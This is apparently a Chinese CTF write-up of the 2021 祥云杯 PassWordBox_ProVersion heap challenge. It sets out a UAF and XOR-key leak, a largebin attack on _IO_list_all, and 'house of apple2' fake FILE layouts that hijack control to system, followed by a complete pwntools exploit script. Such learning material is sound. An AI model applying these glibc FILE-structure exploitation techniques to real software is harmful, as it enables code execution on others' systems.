2021祥云杯PassWordBox_ProVersion
目录
- 前言:
- 程序分析
- 大致思路:
- 利用链:
- _IO_wfile_overflow
- _IO_wfile_underflow_mmap:
- exp:
前言:
复现一下2021祥云杯PassWordBox_ProVersion,顺便练习一下roderick大佬提出的house of apple2
https://bbs.pediy.com/thread-273832.htm#msg_header_h3_1
程序分析
保护全开,没沙盒
add函数用只能申请largebin范围的,这里有一个xor加密
delete函数存在指针悬挂,配合recover函数可造成uaf
show函数有两个异或加密,show之前异或变回原来的,show之后再次异或加密
异或的key被赋为一个随机数
最后程序还有exit功能,可以用exit触发io流
大致思路:
基本上就是用largebin attack,攻击io流,先泄露出libc_base,heap_base,但由于异或加密,可以先输入一个已知字符串,去show得出key,就能泄露出两者了
接着largebinattack,劫持_IO_list_all为堆地址,写入fake_io
最后exit触发io,控制程序流
exit的调用
exit->_IO_cleanup->_IO_flush_all_lockp->_IO_OVERFLOW
最后的_IO_OVERFLOW我们改虚表偏移指向我们要利用的虚表函数即可
利用链:
_IO_wfile_overflow
调用链为:
_IO_wfile_overflow_IO_wdoallocbuf_IO_WDOALLOCATE*(fp->_wide_data->_wide_vtable + 0x68)(fp)
源码:
这里放一个看源码网站
https://elixir.bootlin.com/glibc/glibc-2.31/source
void
_IO_wdoallocbuf (FILE *fp)
{if (fp->_wide_data->_IO_buf_base)return;if (!(fp->_flags & _IO_UNBUFFERED))if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)// _IO_WXXXX调用return;_IO_wsetb (fp, fp->_wide_data->_shortbuf,fp->_wide_data->_shortbuf + 1, 0);
}
libc_hidden_def (_IO_wdoallocbuf)
fake_io要满足的要求
_flags设置为~(2 | 0x8 | 0x800),如果不需要控制rdi,设置为0即可;如果需要获得shell,可设置为sh;,注意前面有两个空格
vtable设置为_IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap地址(加减偏移),使其能成功调用_IO_wfile_overflow即可
_wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A
_wide_data->_IO_write_base设置为0,即满足*(A + 0x18) = 0
_wide_data->_IO_buf_base设置为0,即满足*(A + 0x30) = 0
_wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B
_wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足*(B + 0x68) = C
fake_IO_FILE实际可以如此布置:
fake_IO_FILE =b'\x00'
fake_IO_FILE =fake_IO_FILE.ljust(0x18, b'\x00')+p64(1)
fake_IO_FILE =fake_IO_FILE.ljust(0x90, b'\x00') + p64(target_addr + 0xe0)
fake_IO_FILE =fake_IO_FILE.ljust(0xc8, b'\x00') + p64(_IO_wfile_jumps)
fake_IO_FILE =fake_IO_FILE.ljust(0xd0 + 0xe0, b'\x00') + p64(target_addr + 0xe0 + 0xe8)
fake_IO_FILE =fake_IO_FILE.ljust(0xd0 + 0xe8 + 0x68, b'\x00') + p64(system)
edit(8,fake_IO_FILE)
edit(7,b'a'*0x420+b' sh\x00\x00\x00\x00\x00')
get shell
_IO_wfile_underflow_mmap:
调用链为:
_IO_wfile_underflow_mmap_IO_wdoallocbuf_IO_WDOALLOCATE*(fp->_wide_data->_wide_vtable + 0x68)(fp)
源码:
static wint_t
_IO_wfile_underflow_mmap (FILE *fp)
{struct _IO_codecvt *cd;const char *read_stop;if (__glibc_unlikely (fp->_flags & _IO_NO_READS)){fp->_flags |= _IO_ERR_SEEN;__set_errno (EBADF);return WEOF;}if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)return *fp->_wide_data->_IO_read_ptr;cd = fp->_codecvt;/* Maybe there is something left in the external buffer. */if (fp->_IO_read_ptr >= fp->_IO_read_end/* No. But maybe the read buffer is not fully set up. */&& _IO_file_underflow_mmap (fp) == EOF)/* Nothing available. _IO_file_underflow_mmap has set the EOF or errorflags as appropriate. */return WEOF;/* There is more in the external. Convert it. */read_stop = (const char *) fp->_IO_read_ptr;if (fp->_wide_data->_IO_buf_base == NULL){/* Maybe we already have a push back pointer. */if (fp->_wide_data->_IO_save_base != NULL){free (fp->_wide_data->_IO_save_base);fp->_flags &= ~_IO_IN_BACKUP;}_IO_wdoallocbuf (fp);// 需要走到这里}//......
}
fake_io要满足的要求为:
> _flags设置为~4,如果不需要控制rdi,设置为0即可;如果需要获得shell,可设置为sh;,注意前面有个空格 vtable设置为_IO_wfile_jumps_mmap地址(加减偏移),使其能成功调用_IO_wfile_underflow_mmap即可
> _IO_read_ptr < _IO_read_end,即满足*(fp + 8) < *(fp + 0x10)
> _wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A
> _wide_data->_IO_read_ptr >= _wide_data->_IO_read_end,即满足*A >= *(A + 8)
> _wide_data->_IO_buf_base设置为0,即满足*(A + 0x30) = 0
> _wide_data->_IO_save_base设置为0或者合法的可被free的地址,即满足*(A + 0x40) = 0
> _wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B
> _wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足*(B + 0x68) = C
然而我在实际执行时遇到一些小问题
源码中的这一段
if (fp->_IO_read_ptr >= fp->_IO_read_end/* No. But maybe the read buffer is not fully set up. */&& _IO_file_underflow_mmap (fp) == EOF)
如果fp->_IO_read_ptr >= fp->_IO_read_end,则会调用_IO_file_underflow_mmap
而里面会有一个对rax+0xe0地址赋值的操作,会被赋值为_IO_wfile_jumps的地址
会使我们上面要满足条件中的*(A + 0xe0) = &_IO_wfile_jumps
无法指向system
所以我们要设为fp->_IO_read_ptr 小于 fp->_IO_read_end
我这边fp->_IO_read_ptr= 0x441
我把fp->_IO_read_end设为了0x600
fake_IO_FILE实际如此布置:
fake_IO_FILE =b'\x00'
fake_IO_FILE =p64(0x600)
fake_IO_FILE =fake_IO_FILE.ljust(0x18, b'\x00')+p64(1)
fake_IO_FILE =fake_IO_FILE.ljust(0x90, b'\x00') + p64(target_addr + 0xe0)
fake_IO_FILE =fake_IO_FILE.ljust(0xc8, b'\x00') + p64(_IO_wfile_jumps_mmap+8)
fake_IO_FILE =fake_IO_FILE.ljust(0xd0, b'\x00') + p64(1)+p64(0)
fake_IO_FILE =fake_IO_FILE.ljust(0xd0+0x30, b'\x00') + p64(0)
fake_IO_FILE =fake_IO_FILE.ljust(0xd0+0x40, b'\x00') + p64(0)
fake_IO_FILE =fake_IO_FILE.ljust(0xd0 + 0xe0, b'\x00') + p64(target_addr + 0xe0 + 0xe8)
fake_IO_FILE =fake_IO_FILE.ljust(0xd0 + 0xe8 + 0x68, b'\x00') + p64(system)
edit(8,fake_IO_FILE)
edit(7,b'a'*0x420+b' sh\x00\x00\x00\x00')
最后成功getshell
exp:
rom pwn import *
local_file = './pwdPro'
local_libc = '/lib/x86_64-linux-gnu/libc.so.6'
remote_libc = '/lib/x86_64-linux-gnu/libc.so.6'
select = 0
if select == 0:r = process(local_file)libc = ELF(local_libc)
elif select == 1:r = remote('node4.buuoj.cn',25904 )libc = ELF(remote_libc)
else:r = gdb.debug(local_file)libc = ELF(local_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
info = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
def debug(cmd=''):gdb.attach(r,cmd)
#------------------------
def add(idx,ID,size,pwd):sla('Input Your Choice:\n','1')sla('Which PwdBox You Want Add:\n',str(idx))sa('Input The ID You Want Save:',ID)sla('Length Of Your Pwd:',str(size))sla('Your Pwd:',pwd)
def edit(idx,pwd):sla('Input Your Choice:\n','2')sla('Which PwdBox You Want Edit:\n',str(idx))se(pwd)
def show(idx):sla('Input Your Choice:\n','3')sla('Which PwdBox You Want Check:\n',str(idx))
def delete(idx):sla('Input Your Choice:\n','4')sla('Idx you want 2 Delete:\n',str(idx))sla('Input Your Choice:\n','5')sla('Idx you want 2 Recover:\n',str(idx))
def exit():sla('Input Your Choice:\n','6')
#-------------leak_heap,leak_base------------------
add(0,'0',0x420,'aaaa')
add(1,'1',0x420,'aaaa')
add(2,'2',0x428,'aaaa')
add(3,'3',0x420,'aaaa')
delete(2)
add(4,'2',0x440,'aaaa')
delete(0)
edit(0,'a'*0x8)
show(0)
ru('Pwd is: ')
xor_key=uu64(rc(8))^0x6161616161616161
info('xor_key',xor_key)
show(2)
ru('Pwd is: ')
libc_addr=uu64(rc(8))^xor_key
libc_base=libc_addr-0x1ecfd0
rc(8)
info('libc_base',libc_base)
heap_addr=uu64(rc(8))^xor_key
heap_base=heap_addr-0xaf0
rc(8)
info('heap_base',heap_base)
#----------------clear_bins---------------
edit(0,p64(libc_base+0x1ecbe0))
add(0,'0',0x420,'\x00')
target=libc_base+libc.sym['_IO_list_all']
add(5,'5',0x420,'a')
#---------------largebin_attack_IO_list_all-------------
add(6,'6',0x440,'b')
add(7,'6',0x428,'b')
add(8,'6',0x438,'b')
add(9,'6',0x420,'b')
delete(6)
add(10,'10',0x450,'b')
delete(8)
edit(6,p64(0x1ecfe0+libc_base)*2+p64(heap_base+0x17a0)+p64(target-0x20))
add(11,'11',0x450,'trigger')
#------------------fake_io----------------
#debug()
#pause()
system=libc_base+libc.sym['system']
_IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
_IO_wfile_jumps_mmap = libc_base + libc.sym['_IO_wfile_jumps']-0xc0
target_addr=heap_base+0x2020
#----------_IO_wfile_jumps->_IO_wfile_overflow->_IO_wdoallocbuf->_IO_WDOALLOCATE------fake_IO_FILE =b'\x00'
fake_IO_FILE =fake_IO_FILE.ljust(0x18, b'\x00')+p64(1)
fake_IO_FILE =fake_IO_FILE.ljust(0x90, b'\x00') + p64(target_addr + 0xe0)
fake_IO_FILE =fake_IO_FILE.ljust(0xc8, b'\x00') + p64(_IO_wfile_jumps)
fake_IO_FILE =fake_IO_FILE.ljust(0xd0 + 0xe0, b'\x00') + p64(target_addr + 0xe0 + 0xe8)
fake_IO_FILE =fake_IO_FILE.ljust(0xd0 + 0xe8 + 0x68, b'\x00') + p64(system)
edit(8,fake_IO_FILE)
edit(7,b'a'*0x420+b' sh\x00\x00\x00\x00\x00')#----------_IO_wfile_underflow_mmap->_IO_wdoallocbuf->_IO_WDOALLOCATE----------------
#fake_IO_FILE =b'\x00'
#fake_IO_FILE =p64(0x600)
#fake_IO_FILE =fake_IO_FILE.ljust(0x18, b'\x00')+p64(1)
#fake_IO_FILE =fake_IO_FILE.ljust(0x90, b'\x00') + p64(target_addr + 0xe0)
#fake_IO_FILE =fake_IO_FILE.ljust(0xc8, b'\x00') + p64(_IO_wfile_jumps_mmap+8)
#fake_IO_FILE =fake_IO_FILE.ljust(0xd0, b'\x00') + p64(1)+p64(0)
#fake_IO_FILE =fake_IO_FILE.ljust(0xd0+0x30, b'\x00') + p64(0)
#fake_IO_FILE =fake_IO_FILE.ljust(0xd0+0x40, b'\x00') + p64(0)
#fake_IO_FILE =fake_IO_FILE.ljust(0xd0 + 0xe0, b'\x00') + p64(target_addr + 0xe0 + 0xe8)
#fake_IO_FILE =fake_IO_FILE.ljust(0xd0 + 0xe8 + 0x68, b'\x00') + p64(system)
#edit(8,fake_IO_FILE)
#edit(7,b'a'*0x420+b' sh\x00\x00\x00\x00')
#debug('b *_IO_file_underflow_mmap+444')
#pause()
exit()
r.interactive()
2021祥云杯PassWordBox_ProVersion相关推荐
- [2021祥云杯]secrets_of_admin
[2021祥云杯]secrets_of_admin 文章目录 [2021祥云杯]secrets_of_admin 代码分析 /的POST方式 /admin的GET方式 /admin的POST方式 /a ...
- 2021 祥云杯 pwn-JigSaw’sCage
2021 祥云杯 pwn-JigSaw'sCage 这道题属实是没有发现漏洞点在哪里,所以看了一下wm的wjh师傅的wp,发现漏洞出现下图 v1是int,但scanf是ld,所以溢出了4个字节,这就导 ...
- 2021 祥云杯 pwn-PassWordBox_ProVersion
2021 祥云杯 pwn-PassWordBox_ProVersion 这里就没有off by null了,size也只能是large bin的,那肯定就是large bin attack了,libc ...
- 2021 祥云杯 pwn-note
2021 祥云杯 pwn-note 这是一道scanf任意读写的pwn题 漏洞点发生在上图 在第一个图那里下个断点,查看stack时发现%11$p这里有一个stdout,这个给了我们泄露libc的机会 ...
- 2021祥云杯部分wp
祥云杯2021 目前只做了两道题(没办法 tcl... MISC-鸣雏恋 下载下来是个word,打开只有一句话 不太对劲,放到010里看一看发现文件头50 4B 03 04 经典压缩包了,文件后缀改成 ...
- 2021祥云杯部分pwn
note 格式化字符串 本题考查了scanf的格式化字符串利用.一般我们用的都是printf的格式化字符串.这里是scanf 踩坑 一开始没有注意到sendline会多发一个换行符,导致往栈上$7的s ...
- 2021祥云杯 CTF pwn解 wp
前言:题都不难,我好气,这次被大佬带飞,队里的pwn手都是神级别的,这里出了三道题,如果我不是sha,我应该能出五道,可是我好菜,这里贴出一下 note: 思路:自己构建格式化字符串漏洞,自己打,先打 ...
- 【2021祥云杯】 鸣雏恋
下载附件,是个压缩包,里面是个docx,打开: 但是我们知道docx文档是可以当作压缩包解压的,所以我们可以将后缀改为zip,在解压得到的文件中找到love.zip和key.txt love.zip有 ...
- 祥云杯2021web writeup
太菜了,一个web都没做出来.接下来是复现.好好学习一下大佬们的姿势,也记录一下.篇幅较长,其中有对于源码等的分析,适合新手.大佬勿喷. 目录 web1 ezyii 考点: yii反序列化的链子 we ...
最新文章
- UITableView——reloadData与reloadSection性能比较
- 《C语言程序设计:问题与求解方法》——3.9节常见编程错误
- c语言中热河输入空格,承德市2020年(春秋版)小学英语六年级上册期中考试模拟试卷(1)C卷...
- mysql drivermanager_MYSQL 之 JDBC(二): 数据库连接(二)通过DriverManager获取数据库连接...
- P1989 无向图三元环计数 思维 + 建图
- 通信调制体制设计之64QAM性能分析MATLAB仿真及代码
- 为什么不邀请我参加会议?
- Pytest之skip、skipif、xfail
- 在Mac上使用鼠标键来控制指针的方法
- java安装包_Java6 Update
- 华为手机邮箱发件服务器端口设置,华为手机设置-华为手机POP3设置
- 哈夫曼编码C++实现
- Linux命令之dhclient,dhclient命令 – 动态获取或释放IP地址
- 读书笔记:《死去之前,都是人生》
- 微积分小糊涂,国庆节大快乐!
- 微信小程序正则表达式截取_微信小程序实现简单input正则表达式验证功能示例...
- 嵌入式 linux下proc目录下的文件详解
- kinectfusion解析_2019/02/09 对于KinectFusion 的理解
- 嵌入式学习笔记-uboot第一阶段分析
- 【渝粤教育】电大中专跨境电子商务理论与实务 (26)作业 题库